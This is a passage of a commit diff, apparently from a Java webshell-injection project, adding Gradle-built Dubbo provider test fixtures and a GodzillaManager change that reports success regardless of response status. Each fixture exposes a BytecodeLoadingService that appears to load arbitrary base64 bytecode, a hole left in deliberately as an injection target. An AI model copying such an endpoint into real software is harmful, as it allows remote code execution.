private ClientRuntimeSupport() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void prepareClientJvm() {
|
||||||
|
System.setProperty("dubbo.compiler", "jdk");
|
||||||
|
System.setProperty("java.net.preferIPv4Stack", "true");
|
||||||
|
System.setProperty("java.net.useSystemProxies", "false");
|
||||||
|
for (String property : PROXY_PROPERTIES) {
|
||||||
|
System.clearProperty(property);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -187,10 +187,8 @@ public class GodzillaManager implements Closeable {
|
|||||||
if (setCookie != null && setCookie.contains("JSESSIONID=")) {
|
if (setCookie != null && setCookie.contains("JSESSIONID=")) {
|
||||||
cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
|
cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
|
||||||
}
|
}
|
||||||
if (response.isSuccessful()) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
System.out.println(response.body().string().trim());
|
System.out.println(response.body().string().trim());
|
||||||
|
return true;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (isWs()) {
|
if (isWs()) {
|
||||||
|
|||||||
@@ -0,0 +1,240 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("idea")
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "io.github.reajason"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
val dubboProviderCommon: SourceSet by sourceSets.creating
|
||||||
|
val dubboProviderAlibaba: SourceSet by sourceSets.creating
|
||||||
|
val dubboProviderApache276: SourceSet by sourceSets.creating
|
||||||
|
val dubboProviderApache277: SourceSet by sourceSets.creating
|
||||||
|
val dubboProviderApache278: SourceSet by sourceSets.creating
|
||||||
|
val dubboProviderApache2723: SourceSet by sourceSets.creating
|
||||||
|
val dubboProviderApache336: SourceSet by sourceSets.creating
|
||||||
|
|
||||||
|
val dubboProviderCommonImplementation: Configuration by configurations.getting
|
||||||
|
val dubboProviderAlibabaImplementation: Configuration by configurations.getting
|
||||||
|
val dubboProviderApache276Implementation: Configuration by configurations.getting
|
||||||
|
val dubboProviderApache277Implementation: Configuration by configurations.getting
|
||||||
|
val dubboProviderApache278Implementation: Configuration by configurations.getting
|
||||||
|
val dubboProviderApache2723Implementation: Configuration by configurations.getting
|
||||||
|
val dubboProviderApache336Implementation: Configuration by configurations.getting
|
||||||
|
|
||||||
|
val dubboProviderCommonOutput = dubboProviderCommon.output
|
||||||
|
|
||||||
|
dubboProviderAlibaba.compileClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderAlibaba.runtimeClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache276.compileClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache276.runtimeClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache277.compileClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache277.runtimeClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache278.compileClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache278.runtimeClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache2723.compileClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache2723.runtimeClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache336.compileClasspath += dubboProviderCommonOutput
|
||||||
|
dubboProviderApache336.runtimeClasspath += dubboProviderCommonOutput
|
||||||
|
|
||||||
|
listOf(
|
||||||
|
"dubboProviderApache336CompileClasspath",
|
||||||
|
"dubboProviderApache336RuntimeClasspath"
|
||||||
|
).forEach { configurationName ->
|
||||||
|
configurations.named(configurationName) {
|
||||||
|
exclude(group = "io.netty", module = "netty-transport-native-kqueue")
|
||||||
|
exclude(group = "io.netty", module = "netty-resolver-dns-native-macos")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
idea {
|
||||||
|
module {
|
||||||
|
excludeDirs.add(file("src/main"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
dubboProviderCommonImplementation("org.slf4j:slf4j-api:1.7.36")
|
||||||
|
dubboProviderCommonImplementation("org.apache.dubbo:dubbo:2.7.23") {
|
||||||
|
exclude(group = "log4j", module = "log4j")
|
||||||
|
}
|
||||||
|
|
||||||
|
dubboProviderAlibabaImplementation(dubboProviderCommonOutput)
|
||||||
|
dubboProviderAlibabaImplementation("com.alibaba:dubbo:2.6.12")
|
||||||
|
dubboProviderAlibabaImplementation("org.apache.dubbo:dubbo:2.7.6")
|
||||||
|
dubboProviderAlibabaImplementation("com.alibaba:hessian-lite:3.2.4")
|
||||||
|
dubboProviderAlibabaImplementation("com.caucho:hessian:4.0.51")
|
||||||
|
dubboProviderAlibabaImplementation("org.apache.httpcomponents:httpclient:4.5.3")
|
||||||
|
dubboProviderAlibabaImplementation("org.springframework:spring-web:5.3.39")
|
||||||
|
dubboProviderAlibabaImplementation("io.netty:netty-all:4.1.25.Final")
|
||||||
|
dubboProviderAlibabaImplementation("org.mortbay.jetty:jetty:6.1.26")
|
||||||
|
dubboProviderAlibabaImplementation("org.mortbay.jetty:jetty-util:6.1.26")
|
||||||
|
dubboProviderAlibabaImplementation("org.slf4j:slf4j-api:1.7.36")
|
||||||
|
dubboProviderAlibabaImplementation("ch.qos.logback:logback-classic:1.2.13")
|
||||||
|
|
||||||
|
fun apacheDubbo27Provider(configuration: Configuration, version: String, tomcatVersion: String) {
|
||||||
|
add(configuration.name, dubboProviderCommonOutput)
|
||||||
|
add(configuration.name, "org.apache.dubbo:dubbo:$version") {
|
||||||
|
exclude(group = "log4j", module = "log4j")
|
||||||
|
}
|
||||||
|
add(configuration.name, "com.alibaba:hessian-lite:3.2.4")
|
||||||
|
add(configuration.name, "com.caucho:hessian:4.0.51")
|
||||||
|
add(configuration.name, "org.apache.httpcomponents:httpclient:4.5.13")
|
||||||
|
add(configuration.name, "com.github.briandilley.jsonrpc4j:jsonrpc4j:1.2.0")
|
||||||
|
add(configuration.name, "org.springframework:spring-web:5.3.39")
|
||||||
|
add(configuration.name, "org.apache.tomcat.embed:tomcat-embed-core:$tomcatVersion")
|
||||||
|
add(configuration.name, "org.mortbay.jetty:jetty:6.1.26")
|
||||||
|
add(configuration.name, "org.mortbay.jetty:jetty-util:6.1.26")
|
||||||
|
add(configuration.name, "org.slf4j:slf4j-api:1.7.36")
|
||||||
|
add(configuration.name, "ch.qos.logback:logback-classic:1.2.13")
|
||||||
|
}
|
||||||
|
|
||||||
|
apacheDubbo27Provider(dubboProviderApache276Implementation, "2.7.6", "8.5.100")
|
||||||
|
apacheDubbo27Provider(dubboProviderApache277Implementation, "2.7.7", "8.5.100")
|
||||||
|
apacheDubbo27Provider(dubboProviderApache278Implementation, "2.7.8", "9.0.104")
|
||||||
|
apacheDubbo27Provider(dubboProviderApache2723Implementation, "2.7.23", "9.0.104")
|
||||||
|
|
||||||
|
dubboProviderApache336Implementation(dubboProviderCommonOutput)
|
||||||
|
dubboProviderApache336Implementation("org.apache.dubbo:dubbo:3.3.6") {
|
||||||
|
exclude(group = "log4j", module = "log4j")
|
||||||
|
}
|
||||||
|
dubboProviderApache336Implementation("org.apache.dubbo:dubbo-rpc-triple:3.3.6")
|
||||||
|
dubboProviderApache336Implementation("org.apache.dubbo.extensions:dubbo-rpc-http:3.3.1")
|
||||||
|
dubboProviderApache336Implementation("org.apache.dubbo.extensions:dubbo-rpc-hessian:3.3.0")
|
||||||
|
dubboProviderApache336Implementation("org.apache.dubbo:dubbo-remoting-http:3.3.0-beta.2")
|
||||||
|
dubboProviderApache336Implementation("com.caucho:hessian:4.0.51")
|
||||||
|
dubboProviderApache336Implementation("io.netty:netty-all:4.1.119.Final")
|
||||||
|
dubboProviderApache336Implementation("org.slf4j:slf4j-api:2.0.17")
|
||||||
|
dubboProviderApache336Implementation("ch.qos.logback:logback-classic:1.5.18")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.named<JavaCompile>(dubboProviderCommon.compileJavaTaskName) {
|
||||||
|
options.release.set(8)
|
||||||
|
}
|
||||||
|
|
||||||
|
listOf(
|
||||||
|
dubboProviderAlibaba,
|
||||||
|
dubboProviderApache276,
|
||||||
|
dubboProviderApache277,
|
||||||
|
dubboProviderApache278,
|
||||||
|
dubboProviderApache2723,
|
||||||
|
dubboProviderApache336
|
||||||
|
).forEach { sourceSet ->
|
||||||
|
tasks.named<JavaCompile>(sourceSet.compileJavaTaskName) {
|
||||||
|
options.release.set(8)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun registerDubboFatJar(
|
||||||
|
taskName: String,
|
||||||
|
sourceSet: SourceSet,
|
||||||
|
mainClassName: String,
|
||||||
|
mergeApacheProtocolSpi: Boolean = false
|
||||||
|
): TaskProvider<Jar> {
|
||||||
|
val protocolSpiPath = "META-INF/dubbo/internal/org.apache.dubbo.rpc.Protocol"
|
||||||
|
val mergedProtocolSpi = layout.buildDirectory.file("generated/$taskName/$protocolSpiPath")
|
||||||
|
val mergeTask = if (mergeApacheProtocolSpi) {
|
||||||
|
tasks.register("${taskName}MergeProtocolSpi") {
|
||||||
|
inputs.files(sourceSet.runtimeClasspath)
|
||||||
|
outputs.file(mergedProtocolSpi)
|
||||||
|
doLast {
|
||||||
|
val outputFile = mergedProtocolSpi.get().asFile
|
||||||
|
outputFile.parentFile.mkdirs()
|
||||||
|
val mergedLines = linkedSetOf<String>()
|
||||||
|
sourceSet.runtimeClasspath.files
|
||||||
|
.filter { it.extension == "jar" }
|
||||||
|
.forEach { runtimeJar ->
|
||||||
|
zipTree(runtimeJar).matching {
|
||||||
|
include(protocolSpiPath)
|
||||||
|
}.forEach { spiFile ->
|
||||||
|
spiFile.readLines()
|
||||||
|
.map(String::trim)
|
||||||
|
.filter { it.isNotEmpty() && !it.startsWith("#") }
|
||||||
|
.forEach(mergedLines::add)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outputFile.writeText(mergedLines.joinToString(System.lineSeparator()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
null
|
||||||
|
}
|
||||||
|
|
||||||
|
return tasks.register<Jar>(taskName) {
|
||||||
|
group = "verification"
|
||||||
|
archiveClassifier.set(taskName.removePrefix("dubbo").removeSuffix("FatJar").lowercase())
|
||||||
|
duplicatesStrategy = DuplicatesStrategy.EXCLUDE
|
||||||
|
dependsOn(sourceSet.classesTaskName, dubboProviderCommon.classesTaskName)
|
||||||
|
manifest {
|
||||||
|
attributes["Main-Class"] = mainClassName
|
||||||
|
}
|
||||||
|
from(sourceSet.output)
|
||||||
|
from(dubboProviderCommon.output)
|
||||||
|
if (mergeApacheProtocolSpi) {
|
||||||
|
dependsOn(mergeTask)
|
||||||
|
from({
|
||||||
|
sourceSet.runtimeClasspath.files
|
||||||
|
.filter { it.exists() }
|
||||||
|
.map { if (it.isDirectory) it else zipTree(it) }
|
||||||
|
}) {
|
||||||
|
includeEmptyDirs = false
|
||||||
|
exclude(protocolSpiPath)
|
||||||
|
}
|
||||||
|
into("META-INF/dubbo/internal") {
|
||||||
|
from(mergedProtocolSpi) {
|
||||||
|
rename { "org.apache.dubbo.rpc.Protocol" }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
from({
|
||||||
|
sourceSet.runtimeClasspath.files
|
||||||
|
.filter { it.exists() }
|
||||||
|
.map { if (it.isDirectory) it else zipTree(it) }
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
val dubboAlibabaProviderFatJar = registerDubboFatJar(
|
||||||
|
"dubboAlibabaProviderFatJar",
|
||||||
|
dubboProviderAlibaba,
|
||||||
|
"io.github.reajason.dubbo.fixture.alibaba.AlibabaDubbo2Provider"
|
||||||
|
)
|
||||||
|
val dubboApache276ProviderFatJar = registerDubboFatJar(
|
||||||
|
"dubboApache276ProviderFatJar",
|
||||||
|
dubboProviderApache276,
|
||||||
|
"io.github.reajason.dubbo.fixture.apache2.ApacheDubbo276Provider"
|
||||||
|
)
|
||||||
|
val dubboApache277ProviderFatJar = registerDubboFatJar(
|
||||||
|
"dubboApache277ProviderFatJar",
|
||||||
|
dubboProviderApache277,
|
||||||
|
"io.github.reajason.dubbo.fixture.apache2.ApacheDubbo277Provider"
|
||||||
|
)
|
||||||
|
val dubboApache278ProviderFatJar = registerDubboFatJar(
|
||||||
|
"dubboApache278ProviderFatJar",
|
||||||
|
dubboProviderApache278,
|
||||||
|
"io.github.reajason.dubbo.fixture.apache2.ApacheDubbo278Provider"
|
||||||
|
)
|
||||||
|
val dubboApache2723ProviderFatJar = registerDubboFatJar(
|
||||||
|
"dubboApache2723ProviderFatJar",
|
||||||
|
dubboProviderApache2723,
|
||||||
|
"io.github.reajason.dubbo.fixture.apache2.ApacheDubbo2723Provider"
|
||||||
|
)
|
||||||
|
val dubboApache336ProviderFatJar = registerDubboFatJar(
|
||||||
|
"dubboApache336ProviderFatJar",
|
||||||
|
dubboProviderApache336,
|
||||||
|
"io.github.reajason.dubbo.fixture.apache3.ApacheDubbo336Provider",
|
||||||
|
mergeApacheProtocolSpi = true
|
||||||
|
)
|
||||||
|
|
||||||
|
tasks.register("dubboProviderFatJars") {
|
||||||
|
group = "verification"
|
||||||
|
dependsOn(
|
||||||
|
dubboAlibabaProviderFatJar,
|
||||||
|
dubboApache276ProviderFatJar,
|
||||||
|
dubboApache277ProviderFatJar,
|
||||||
|
dubboApache278ProviderFatJar,
|
||||||
|
dubboApache2723ProviderFatJar,
|
||||||
|
dubboApache336ProviderFatJar
|
||||||
|
)
|
||||||
|
}
|
||||||
+65
@@ -0,0 +1,65 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.alibaba;
|
||||||
|
|
||||||
|
import com.alibaba.dubbo.config.ApplicationConfig;
|
||||||
|
import com.alibaba.dubbo.config.ProtocolConfig;
|
||||||
|
import com.alibaba.dubbo.config.RegistryConfig;
|
||||||
|
import com.alibaba.dubbo.config.ServiceConfig;
|
||||||
|
import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService;
|
||||||
|
import io.github.reajason.dubbo.fixture.api.DemoService;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.BytecodeLoadingServiceImpl;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.DemoServiceImpl;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.LoadBytesExportContext;
|
||||||
|
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.concurrent.CountDownLatch;
|
||||||
|
|
||||||
|
public class AlibabaDubbo2Provider {
|
||||||
|
|
||||||
|
public static void main(String[] args) throws InterruptedException {
|
||||||
|
System.setProperty("dubbo.compiler", "jdk");
|
||||||
|
ApplicationConfig application = new ApplicationConfig("alibaba-dubbo2-provider");
|
||||||
|
application.setQosEnable(true);
|
||||||
|
application.setQosPort(22221);
|
||||||
|
|
||||||
|
ProtocolConfig dubboProtocol = new ProtocolConfig();
|
||||||
|
dubboProtocol.setName("dubbo");
|
||||||
|
dubboProtocol.setPort(20880);
|
||||||
|
|
||||||
|
ProtocolConfig hessianProtocol = new ProtocolConfig();
|
||||||
|
hessianProtocol.setName("hessian");
|
||||||
|
hessianProtocol.setPort(28080);
|
||||||
|
|
||||||
|
ProtocolConfig httpProtocol = new ProtocolConfig();
|
||||||
|
httpProtocol.setName("http");
|
||||||
|
httpProtocol.setPort(28081);
|
||||||
|
|
||||||
|
RegistryConfig registry = new RegistryConfig("N/A");
|
||||||
|
LoadBytesExportContext.register(application, registry, Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
|
||||||
|
|
||||||
|
ServiceConfig<DemoService> demoService = new ServiceConfig<DemoService>();
|
||||||
|
demoService.setApplication(application);
|
||||||
|
demoService.setRegistry(registry);
|
||||||
|
demoService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
|
||||||
|
demoService.setInterface(DemoService.class);
|
||||||
|
demoService.setRef(new DemoServiceImpl("alibaba-dubbo-2.6.12"));
|
||||||
|
demoService.export();
|
||||||
|
|
||||||
|
ServiceConfig<BytecodeLoadingService> loaderService = new ServiceConfig<BytecodeLoadingService>();
|
||||||
|
loaderService.setApplication(application);
|
||||||
|
loaderService.setRegistry(registry);
|
||||||
|
loaderService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
|
||||||
|
loaderService.setInterface(BytecodeLoadingService.class);
|
||||||
|
loaderService.setRef(new BytecodeLoadingServiceImpl());
|
||||||
|
loaderService.export();
|
||||||
|
|
||||||
|
System.out.println("==============================================");
|
||||||
|
System.out.println(" alibaba-dubbo 2.6.12 Provider started");
|
||||||
|
System.out.println(" dubbo -> dubbo://127.0.0.1:20880");
|
||||||
|
System.out.println(" hessian -> hessian://127.0.0.1:28080");
|
||||||
|
System.out.println(" http -> http://127.0.0.1:28081");
|
||||||
|
System.out.println(" qos -> 127.0.0.1:22221");
|
||||||
|
System.out.println("==============================================");
|
||||||
|
|
||||||
|
new CountDownLatch(1).await();
|
||||||
|
}
|
||||||
|
}
|
||||||
+7
@@ -0,0 +1,7 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.apache2;
|
||||||
|
|
||||||
|
public class ApacheDubbo2723Provider {
|
||||||
|
public static void main(String[] args) throws InterruptedException {
|
||||||
|
ApacheDubbo2Provider.start("apache-dubbo-2.7.23", 20881, 28082, 28083, 22222);
|
||||||
|
}
|
||||||
|
}
|
||||||
+7
@@ -0,0 +1,7 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.apache2;
|
||||||
|
|
||||||
|
public class ApacheDubbo276Provider {
|
||||||
|
public static void main(String[] args) throws InterruptedException {
|
||||||
|
ApacheDubbo2Provider.start("apache-dubbo-2.7.6", 20885, 28086, 28087, 22226);
|
||||||
|
}
|
||||||
|
}
|
||||||
+7
@@ -0,0 +1,7 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.apache2;
|
||||||
|
|
||||||
|
public class ApacheDubbo277Provider {
|
||||||
|
public static void main(String[] args) throws InterruptedException {
|
||||||
|
ApacheDubbo2Provider.start("apache-dubbo-2.7.7", 20886, 28088, 28089, 22227);
|
||||||
|
}
|
||||||
|
}
|
||||||
+7
@@ -0,0 +1,7 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.apache2;
|
||||||
|
|
||||||
|
public class ApacheDubbo278Provider {
|
||||||
|
public static void main(String[] args) throws InterruptedException {
|
||||||
|
ApacheDubbo2Provider.start("apache-dubbo-2.7.8", 20887, 28090, 28091, 22228);
|
||||||
|
}
|
||||||
|
}
|
||||||
+65
@@ -0,0 +1,65 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.apache3;
|
||||||
|
|
||||||
|
import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService;
|
||||||
|
import io.github.reajason.dubbo.fixture.api.DemoService;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.BytecodeLoadingServiceImpl;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.DemoServiceImpl;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.LoadBytesExportContext;
|
||||||
|
import org.apache.dubbo.config.ApplicationConfig;
|
||||||
|
import org.apache.dubbo.config.ProtocolConfig;
|
||||||
|
import org.apache.dubbo.config.RegistryConfig;
|
||||||
|
import org.apache.dubbo.config.ServiceConfig;
|
||||||
|
import org.apache.dubbo.config.bootstrap.DubboBootstrap;
|
||||||
|
|
||||||
|
import java.util.Arrays;
|
||||||
|
|
||||||
|
public class ApacheDubbo336Provider {
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
System.setProperty("dubbo.compiler", "jdk");
|
||||||
|
ApplicationConfig application = new ApplicationConfig("apache-dubbo-3.3.6-provider");
|
||||||
|
application.setQosEnable(true);
|
||||||
|
application.setQosPort(22223);
|
||||||
|
|
||||||
|
RegistryConfig registry = new RegistryConfig("N/A");
|
||||||
|
ProtocolConfig dubboProtocol = new ProtocolConfig("dubbo", 20882);
|
||||||
|
ProtocolConfig triProtocol = new ProtocolConfig("tri", 50051);
|
||||||
|
ProtocolConfig hessianProtocol = new ProtocolConfig("hessian", 28084);
|
||||||
|
ProtocolConfig httpProtocol = new ProtocolConfig("http", 28085);
|
||||||
|
LoadBytesExportContext.register(
|
||||||
|
application,
|
||||||
|
registry,
|
||||||
|
Arrays.asList(dubboProtocol, triProtocol, hessianProtocol, httpProtocol)
|
||||||
|
);
|
||||||
|
|
||||||
|
ServiceConfig<DemoService> demoService = new ServiceConfig<DemoService>();
|
||||||
|
demoService.setInterface(DemoService.class);
|
||||||
|
demoService.setRef(new DemoServiceImpl("apache-dubbo-3.3.6"));
|
||||||
|
|
||||||
|
ServiceConfig<BytecodeLoadingService> loaderService = new ServiceConfig<BytecodeLoadingService>();
|
||||||
|
loaderService.setInterface(BytecodeLoadingService.class);
|
||||||
|
loaderService.setRef(new BytecodeLoadingServiceImpl());
|
||||||
|
|
||||||
|
DubboBootstrap.getInstance()
|
||||||
|
.application(application)
|
||||||
|
.registry(registry)
|
||||||
|
.protocol(dubboProtocol)
|
||||||
|
.protocol(triProtocol)
|
||||||
|
.protocol(hessianProtocol)
|
||||||
|
.protocol(httpProtocol)
|
||||||
|
.service(demoService)
|
||||||
|
.service(loaderService)
|
||||||
|
.start();
|
||||||
|
|
||||||
|
System.out.println("==============================================");
|
||||||
|
System.out.println(" apache-dubbo-3.3.6 Provider started");
|
||||||
|
System.out.println(" dubbo -> dubbo://127.0.0.1:20882");
|
||||||
|
System.out.println(" tri -> tri://127.0.0.1:50051");
|
||||||
|
System.out.println(" hessian -> hessian://127.0.0.1:28084");
|
||||||
|
System.out.println(" http -> http://127.0.0.1:28085");
|
||||||
|
System.out.println(" qos -> 127.0.0.1:22223");
|
||||||
|
System.out.println("==============================================");
|
||||||
|
|
||||||
|
DubboBootstrap.getInstance().await();
|
||||||
|
}
|
||||||
|
}
|
||||||
+71
@@ -0,0 +1,71 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.apache2;
|
||||||
|
|
||||||
|
import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService;
|
||||||
|
import io.github.reajason.dubbo.fixture.api.DemoService;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.BytecodeLoadingServiceImpl;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.DemoServiceImpl;
|
||||||
|
import io.github.reajason.dubbo.fixture.common.LoadBytesExportContext;
|
||||||
|
import org.apache.dubbo.config.ApplicationConfig;
|
||||||
|
import org.apache.dubbo.config.ProtocolConfig;
|
||||||
|
import org.apache.dubbo.config.RegistryConfig;
|
||||||
|
import org.apache.dubbo.config.ServiceConfig;
|
||||||
|
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.concurrent.CountDownLatch;
|
||||||
|
|
||||||
|
public final class ApacheDubbo2Provider {
|
||||||
|
|
||||||
|
private ApacheDubbo2Provider() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void start(String providerName, int dubboPort, int hessianPort, int httpPort, int qosPort)
|
||||||
|
throws InterruptedException {
|
||||||
|
System.setProperty("dubbo.compiler", "jdk");
|
||||||
|
ApplicationConfig application = new ApplicationConfig(providerName + "-provider");
|
||||||
|
application.setQosEnable(true);
|
||||||
|
application.setQosPort(qosPort);
|
||||||
|
|
||||||
|
ProtocolConfig dubboProtocol = new ProtocolConfig();
|
||||||
|
dubboProtocol.setName("dubbo");
|
||||||
|
dubboProtocol.setPort(dubboPort);
|
||||||
|
|
||||||
|
ProtocolConfig hessianProtocol = new ProtocolConfig();
|
||||||
|
hessianProtocol.setName("hessian");
|
||||||
|
hessianProtocol.setPort(hessianPort);
|
||||||
|
hessianProtocol.setServer("tomcat");
|
||||||
|
|
||||||
|
ProtocolConfig httpProtocol = new ProtocolConfig();
|
||||||
|
httpProtocol.setName("http");
|
||||||
|
httpProtocol.setPort(httpPort);
|
||||||
|
httpProtocol.setServer("tomcat");
|
||||||
|
|
||||||
|
RegistryConfig registry = new RegistryConfig("N/A");
|
||||||
|
LoadBytesExportContext.register(application, registry, Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
|
||||||
|
|
||||||
|
ServiceConfig<DemoService> demoService = new ServiceConfig<DemoService>();
|
||||||
|
demoService.setApplication(application);
|
||||||
|
demoService.setRegistry(registry);
|
||||||
|
demoService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
|
||||||
|
demoService.setInterface(DemoService.class);
|
||||||
|
demoService.setRef(new DemoServiceImpl(providerName));
|
||||||
|
demoService.export();
|
||||||
|
|
||||||
|
ServiceConfig<BytecodeLoadingService> loaderService = new ServiceConfig<BytecodeLoadingService>();
|
||||||
|
loaderService.setApplication(application);
|
||||||
|
loaderService.setRegistry(registry);
|
||||||
|
loaderService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol));
|
||||||
|
loaderService.setInterface(BytecodeLoadingService.class);
|
||||||
|
loaderService.setRef(new BytecodeLoadingServiceImpl());
|
||||||
|
loaderService.export();
|
||||||
|
|
||||||
|
System.out.println("==============================================");
|
||||||
|
System.out.println(" " + providerName + " Provider started");
|
||||||
|
System.out.println(" dubbo -> dubbo://127.0.0.1:" + dubboPort);
|
||||||
|
System.out.println(" hessian -> hessian://127.0.0.1:" + hessianPort);
|
||||||
|
System.out.println(" http -> http://127.0.0.1:" + httpPort);
|
||||||
|
System.out.println(" qos -> 127.0.0.1:" + qosPort);
|
||||||
|
System.out.println("==============================================");
|
||||||
|
|
||||||
|
new CountDownLatch(1).await();
|
||||||
|
}
|
||||||
|
}
|
||||||
+5
@@ -0,0 +1,5 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.api;
|
||||||
|
|
||||||
|
public interface BytecodeLoadingService {
|
||||||
|
String loadBytes(String base64);
|
||||||
|
}
|
||||||
+5
@@ -0,0 +1,5 @@
|
|||||||
|
package io.github.reajason.dubbo.fixture.api;
|
||||||
|
|
||||||
|
public interface DemoService {
|
||||||
|
String sayHello(String name);
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user